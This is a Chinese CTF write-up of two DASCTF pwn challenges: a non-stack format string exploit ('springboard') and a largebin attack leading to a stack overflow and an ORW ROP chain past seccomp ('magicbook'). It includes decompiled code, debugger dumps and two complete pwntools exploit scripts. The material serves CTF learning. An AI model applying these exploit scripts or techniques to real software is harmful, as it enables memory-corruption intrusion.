# 0720_DASCTF_pwn

# springboard

考察非栈上格式化字符串

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
该程序是动态连接的
该程序有符号表可用
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]
  myinit(argc, argv, envp);
  puts("Life is not boring, dreams are not out of reach.");
  puts("Sometimes you just need a springboard.");
  puts("Then you can see a wider world.");
  puts("There may be setbacks along the way.");
  puts("But keep your love of life alive.");
  puts("I believe that you will succeed.");
  puts("Good luck.");
  putchar(10);
  puts("Here's a simple pwn question, challenge yourself.");
  for ( i = 0; i <= 4; ++i )
  {
    puts("You have an 5 chances to get a flag");
    printf("This is the %d time\n", (unsigned int)(i + 1));
    puts("Please enter a keyword");
    read(0, bss, 0x40uLL);
    printf(bss);
  }
  return 0;
}

总体来讲,代码逻辑还是比较简单,漏洞也非常的明显。签到题实锤了确实

for ( i = 0; i <= 4; ++i )
  {
    read(0, bss, 0x40uLL);
    printf(bss);
  }
  return 0;

5 次机会,第一次不用多想泄露地址

00:0000│ rsp 0x7fffffffdcd0 —▸ 0x7fffffffddc0 ◂— 0x1
01:0008│ 0x7fffffffdcd8 ◂— 0x0
02:0010│ rbp 0x7fffffffdce0 —▸ 0x400840 ( __libc_csu_init ) ◂— 0x41ff894156415741
03:0018│ 0x7fffffffdce8 —▸ 0x7ffff7820840 ( __libc_start_main +240) ◂— 0x31000197f9e8c789
04:0020│ 0x7fffffffdcf0 ◂— 0x1
05:0028│ 0x7fffffffdcf8 —▸ 0x7fffffffddc8 —▸ 0x7fffffffe163 ◂— 0x4853006e77702f2e /* ‘./pwn’ */

stack_addr: 00:0000│ rsp 0x7fffffffdcd0 —▸ 0x7fffffffddc0 ◂— 0x1 ——> %6$p

libc_addr: 0x7fffffffdce8 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— .. ——> %9$p

pl = b'%6$p-%9$p'
sla(b'Please enter a keyword\n',pl)
ru("0x")
stack = int(rc(12),16) #0x7fffffffddc0 - 0x7fffffffdce8
ru("-0x")
libcbase = int(rc(12),16) - 240 - libc.sym['__libc_start_main']
system = libcbase + libc.sym['system'] 
lg('stack')
lg('libcbase')

得到两个地址之后,就是用诸葛连弩打非栈上格式化字符。

ret_addr : 0x7fffffffdce8

用格式化字符串将其改成 ogg_addr 即可

pwndbg> stack 40
00:0000│ rsp 0x7fffffffdcd0 —▸ 0x7fffffffddc0 ◂— 0x1
01:0008│ 0x7fffffffdcd8 ◂— 0x100000000
02:0010│ rbp 0x7fffffffdce0 —▸ 0x400840 (__libc_csu_init) ◂— 0x41ff894156415741
03:0018│ 0x7fffffffdce8 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— 0x31000197f9e8c789
04:0020│ 0x7fffffffdcf0 ◂— 0x1
05:0028│ 0x7fffffffdcf8 —▸ 0x7fffffffddc8 —▸ 0x7fffffffe163 ◂— 0x4853006e77702f2e /* ‘./pwn’ /
06:0030│ 0x7fffffffdd00 ◂— 0x1f7e25ca0
07:0038│ 0x7fffffffdd08 —▸ 0x400767 (main) ◂— 0x10ec8348e5894855
08:0040│ 0x7fffffffdd10 ◂— 0x0
09:0048│ 0x7fffffffdd18 ◂— 0x63d45a5b7410892e
0a:0050│ 0x7fffffffdd20 —▸ 0x400610 (_start) ◂— 0x89485ed18949ed31
0b:0058│ 0x7fffffffdd28 —▸ 0x7fffffffddc0 ◂— 0x1
0c:0060│ 0x7fffffffdd30 ◂— 0x0
0d:0068│ 0x7fffffffdd38 ◂— 0x0
0e:0070│ 0x7fffffffdd40 ◂— 0x9c2ba524dd70892e
0f:0078│ 0x7fffffffdd48 ◂— 0x9c2bb5df6b60892e
10:0080│ 0x7fffffffdd50 ◂— 0x0
… ↓ 2 skipped
13:0098│ 0x7fffffffdd68 —▸ 0x7fffffffddd8 —▸ 0x7fffffffe169 ◂— ‘SHELL=/bin/bash’
14:00a0│ 0x7fffffffdd70 —▸ 0x7ffff7e27168 ◂— 0x0
15:00a8│ 0x7fffffffdd78 —▸ 0x7ffff7c1080b ◂— 0xc48348001f0fd3eb
16:00b0│ 0x7fffffffdd80 ◂— 0x0
17:00b8│ 0x7fffffffdd88 ◂— 0x0
18:00c0│ 0x7fffffffdd90 —▸ 0x400610 (_start) ◂— 0x89485ed18949ed31
19:00c8│ 0x7fffffffdd98 —▸ 0x7fffffffddc0 ◂— 0x1
1a:00d0│ 0x7fffffffdda0 ◂— 0x0
1b:00d8│ 0x7fffffffdda8 —▸ 0x400639 (_start+41) ◂— 0xb80000441f0f66f4
1c:00e0│ 0x7fffffffddb0 —▸ 0x7fffffffddb8 ◂— 0x1c
1d:00e8│ 0x7fffffffddb8 ◂— 0x1c
1e:00f0│ r13 0x7fffffffddc0 ◂— 0x1
1f:00f8│ 0x7fffffffddc8 —▸ 0x7fffffffe163 ◂— 0x4853006e77702f2e /
‘./pwn’ */
20:0100│ 0x7fffffffddd0 ◂— 0x0
21:0108│ 0x7fffffffddd8 —▸ 0x7fffffffe169 ◂— ‘SHELL=/bin/bash’
22:0110│ 0x7fffffffdde0 —▸ 0x7fffffffe179 ◂— ‘SESSION_MANAGER=local/h711:@/tmp/.ICE-unix/2518,unix/h711:/tmp/.ICE-unix/2518’
23:0118│ 0x7fffffffdde8 —▸ 0x7fffffffe1c7 ◂— ‘QT_ACCESSIBILITY=1’
24:0120│ 0x7fffffffddf0 —▸ 0x7fffffffe1da ◂— ‘COLORTERM=truecolor’
25:0128│ 0x7fffffffddf8 —▸ 0x7fffffffe1ee ◂— ‘XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu-xorg:/etc/xdg’
26:0130│ 0x7fffffffde00 —▸ 0x7fffffffe220 ◂— ‘SSH_AGENT_LAUNCHER=gnome-keyring’
27:0138│ 0x7fffffffde08 —▸ 0x7fffffffe241 ◂— ‘XDG_MENU_PREFIX=gnome-’

在 %11$p 处,我们修改 0x7fffffffe163 低 2 字节修改成返回地址 0xdce8

05:0028│ 0x7fffffffdcf8 —▸ 0x7fffffffddc8 —▸ 0x7fffffffe163 ◂— 0x4853006e77702f2e /* ‘./pwn’ */

这样 0x7fffffffddc8 在 %37$p 处,就会指向返回地址。接着我们修改 %37 处即可

sla('Please enter a keyword\n','%'+str(stack1&0xffff)+'c%11$hn')
input1 = stack1&0xffff
input2 = (stack1+2)&0xffff
sla('Please enter a keyword\n','%'+str(og&0xffff)+'c%37$hn')
sla('Please enter a keyword\n','%'+str((stack1+2)&0xffff)+'c%11$hn')
sla('Please enter a keyword\n','%'+str((og>>16)&0xff)+'c%37$hhn')

# EXP

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './libc.so.6'
host, port = "node5.buuoj.cn:28082".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
'''
aaaaaaaa-0x601089-0x40-0x7ffff78f7360-0x7ffff7ff7700-0x13-0x7fffffffddc0-(nil)-0x400840-0x7ffff7820840
00:0000│  0x7fffffffddc0 —▸ 0x7fffffffe2b7 ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
00:0000│  0x7ffff7820840 (__libc_start_main+240) ◂— 0x31000197f9e8c789
'''
#  ► 0x7ffff784ffa1    call   qword ptr [rax + 0x38]        <_IO_file_xsputn>
#  ► 0x7ffff7879397 <_IO_file_xsputn+423>    call   qword ptr [rax + 0x78]        <_IO_file_write>
# b * 0x400825
pl = b'%6$p-%9$p'
sla(b'Please enter a keyword\n',pl)
ru("0x")
stack = int(rc(12),16) #0x7fffffffddc0 - 0x7fffffffdce8
ru("-0x")
libcbase = int(rc(12),16) - 240 - libc.sym['__libc_start_main']
system = libcbase + libc.sym['system'] 
lg('stack')
lg('libcbase')
stack1 = stack - (0x7fffffffddc0 - 0x7fffffffdce8)
lg("stack1")
ogg = [0x4527a,0xf03a4,0xf1247]
og = libcbase + ogg[2]
lg('og')
lg('system')
debug()
sla('Please enter a keyword\n','%'+str(stack1&0xffff)+'c%11$hn')
input1 = stack1&0xffff
input2 = (stack1+2)&0xffff
# [+] input1 :0xdce8
# [+] input2 :0xdcea
# pause()
sla('Please enter a keyword\n','%'+str(og&0xffff)+'c%37$hn')
sla('Please enter a keyword\n','%'+str((stack1+2)&0xffff)+'c%11$hn')
sla('Please enter a keyword\n','%'+str((og>>16)&0xff)+'c%37$hhn')
it()

# magicbook

考察 largebin_attack,orw

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
该程序是动态连接的
该程序有符号表可用

先申代码

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]
  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  return seccomp_load(v1);
}

沙箱比较简单

return printf("give you a gift: %p", &d);

给了 elf 中的 d 的真实地址,从而绕过 pie

book = (unsigned __int16)book;

book 类型转换,为啥这样呢?往后看就明白了

void *edit_the_book()
{
  size_t v0; // rax
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
  puts("come on,Write down your story!");
  read(0, buf, book);
  v0 = strlen(buf);
  return memcpy(dest, buf, v0);
}

这里往栈上读数据。而长度为 book。但这里我们暂时未知 book 如何怎样一种形式作为长度

size_t creat_the_book()
{
  size_t v0; // rbx
  size_t size[2]; // [rsp+Ch] [rbp-14h] BYREF
  if ( book > 5 )
  {
    puts("full!!");
    exit(0);
  }
  printf("the book index is %d\n", book);
  puts("How many pages does your book need?");
  LODWORD(size[0]) = 0;
  __isoc99_scanf("%u", size);
  if ( LODWORD(size[0]) > 0x500 )
  {
    puts("wrong!!");
    exit(0);
  }
  v0 = book;
  p[v0] = malloc(LODWORD(size[0]));
  return ++book;
}

在这里给出了 book 以 0<count<5 作为长度从 edit 读到栈上,并且 malloc 最大的 size 为 0x500,可以释放进 largebin 内。

__int64 delete_the_book()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF
  puts("which book would you want to delete?");
  __isoc99_scanf("%d", &v2);
// 判断数量
  free(*((void **)&p + v2));
  puts("Do you want to say anything else before being deleted?(y/n)");
  read(0, buf, 4uLL);
  if ( d && (buf[0] == 89 || buf[0] == 121) )
  {
    puts("which page do you want to write?");
    __isoc99_scanf("%u", &v1);
    if ( v1 > 4 || !*((_QWORD *)&p + v2) )
    {
      puts("wrong!!");
      exit(0);
    }
    puts("content: ");
    read(0, (void *)(*((_QWORD *)&p + v1) + 8LL), 0x18uLL);
    --d;
    return 0LL;
  }
  else
// 无所谓
}

很明显的 uaf,且从 userdata [1] 开始写,所以释放之后你可以直接去修改 fdnextsize 或 bknextsize。算是人性化的题目

好了。代码整体分析了一遍了。如何去攻打捏

大家可能都被 heap 的第一想法给耽误了如何去做这个题,house?如何泄露 libc?

其实有时候不要光去用 house 去打 heap,这题用到为 largebin attack 修改 size

为了题目为何这样打,先去了解一下 large bin 的性质。

large bin 是一个双向链表,不同之前的 small bin 和 unsorted bin,它多了 fd_nextsize 和 bk_nextsize

Add(0x450)#0 chunk0
Add(0x30) #1 chunk1
Add(0x440)#2 chunk2
Del(0)    #  chunk0 進入 unsortedbin
Add(0x500)#0 chunk3 chunk1 進入 largebin    
book = elfbase + 0x4050
Del(2,1,0,p64(0) * 2 + p64(book - 0x20))# 釋放 chunk2, 進入 unsortedbin 內,同時 uaf 修改 chunk0 的 bk 指針,指向目的地址
Add(0x500) # <large bin attack>,chunk2 插入 largebin 內,同時覆蓋地址 chunk1->bknextsize->fdnextsize 指向 chunk2

上面就是 largebin 具体攻击,通过修改 fdnextsize,将 name 修改的特别大

before large bin attack

pwndbg> x/20gx 0x555555558050-0x20
0x555555558030 <stdin@@GLIBC_2.2.5>: 0x00007ffff7e1aaa0 0x0000000000000000
0x555555558040 <stderr@@GLIBC_2.2.5>: 0x00007ffff7e1b6a0 0x0000000000000000
0x555555558050 : 0x0000000000000004 0x0000000000000000
0x555555558060

: 0x000055555555d0c0 0x000055555555d5a0
0x555555558070 <p+16>: 0x000055555555d5e0 0x000055555555daa0
0x555555558080 <p+32>: 0x0000000000000000 0x000055555555cfb0
0x555555558090 <p+48>: 0x0000000000000000 0x0000000000000000
0x5555555580a0 <p+64>: 0x0000000000000000 0x0000000000000000
0x5555555580b0 <p+80>: 0x0000000000000000 0x0000000000000000
0x5555555580c0 <p+96>: 0x0000000000000000 0x0000000000000000

atfte large bin attack

0x555555558030 <stdin@@GLIBC_2.2.5>: 0x00007ffff7e1aaa0 0x0000000000000000
0x555555558040 <stderr@@GLIBC_2.2.5>: 0x00007ffff7e1b6a0 0x0000000000000000
0x555555558050 : 0x000055555555d5d1 0x0000000000000000
0x555555558060

: 0x000055555555d0c0 0x000055555555d5a0
0x555555558070 <p+16>: 0x000055555555d5e0 0x000055555555daa0
0x555555558080 <p+32>: 0x000055555555dfb0 0x000055555555cfb0
0x555555558090 <p+48>: 0x0000000000000000 0x0000000000000000
0x5555555580a0 <p+64>: 0x0000000000000000 0x0000000000000000
0x5555555580b0 <p+80>: 0x0000000000000000 0x0000000000000000
0x5555555580c0 <p+96>: 0x0000000000000000 0x0000000000000000

可见那个数字修改成 0x000055555555d5d1 ,为啥后面会多个 1,不用问,他的代码就是 book++

之后就是 edit 哪里的栈溢出攻击

# EXP

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './libc.so.6'
# host, port = ":".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda Delllim, data              : r.sendafter(Delllim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda Delllim, data              : r.sendlineafter(Delllim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda Delllims, time=default     : r.recvuntil(Delllims,timeout=time)
rpu     = lambda Delllims, time=default     : r.recvuntil(Delllims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
paddding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
ru(b'give you a gift: 0x')
elfbase = int(rc(12),16) - 0x4010
lg('elfbase')
def meau(idx):
    sla("Your choice:\n",str(idx))
def Add(sz):
    meau(1)
    sla("How many pages does your book need?\n",str(sz))
def Del(id,y = 0,id1 = 0,ct = b''):
    meau(2)
    sla("o delete?",str(id))
    if y:
        sla("being deleted?(y/n)\n","y")
        sla("which page do you want to write?\n",str(id1))
        sa("content: \n",ct)
    else:
        sla("being deleted?(y/n)\n","n")
def Edi(ct):
    meau(3)
    sa("come on,Write down your story!\n",ct)
rdi = elfbase + 0x1863
rsi = elfbase + 0x1861 # pop rsi r15 ret
bss = elfbase + 0x4110
edit_ret = elfbase + elf.sym['edit_the_book']
putg = elfbase + elf.got['puts']
putp = elfbase + elf.plt['puts']
Add(0x450)#0 chunk0
Add(0x30) #1 chunk1
Add(0x440)#2 chunk2
Del(0)    #  chunk0 進入 unsortedbin
Add(0x500)#0 chunk3 chunk1 進入 largebin    
book = elfbase + 0x4050
Del(2,1,0,p64(0) * 2 + p64(book - 0x20))# 釋放 chunk2, 進入 unsortedbin 內,同時 uaf 修改 chunk0 的 bk 指針,指向目的地址
debug()
Add(0x500) # <large bin attack>,chunk2 插入 largebin 內,同時覆蓋地址 chunk1->bknextsize->fdnextsize 指向 chunk2
pay = [paddding(0x28), rdi, putg, putp, edit_ret]
Edi(flat(pay))
libcbase = u64(rc(6).ljust(8,b'\0')) - libc.sym['puts']
lg('libcbase')
rax = libcbase + 0x45eb0
rdx = libcbase + 0x904a9 #pop rdx; pop rbx; ret; 
rsi = libcbase + 0x16333a
open_addr = libcbase + libc.sym['open']
write_addr = libcbase + libc.sym['write']
read_addr = libcbase + libc.sym['read']
pay = flat([
    paddding(0x28), rdi, 0, rsi, bss, rdx, 0x8, 0, read_addr,
    rdi, bss, rsi, 0, open_addr,
    rdi, 3, rsi, bss+200, rdx, 0x40, 0, read_addr,
    rdi, 1, rsi, bss+200, rdx, 0x40, 0, write_addr
])
sla(b'come on,Write down your story!\n',pay)
se(b'./flag\x00\x00')
it()
if ((unsigned long) (size)
	< (unsigned long) chunksize_nomask (bck->bk))
   {
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
 }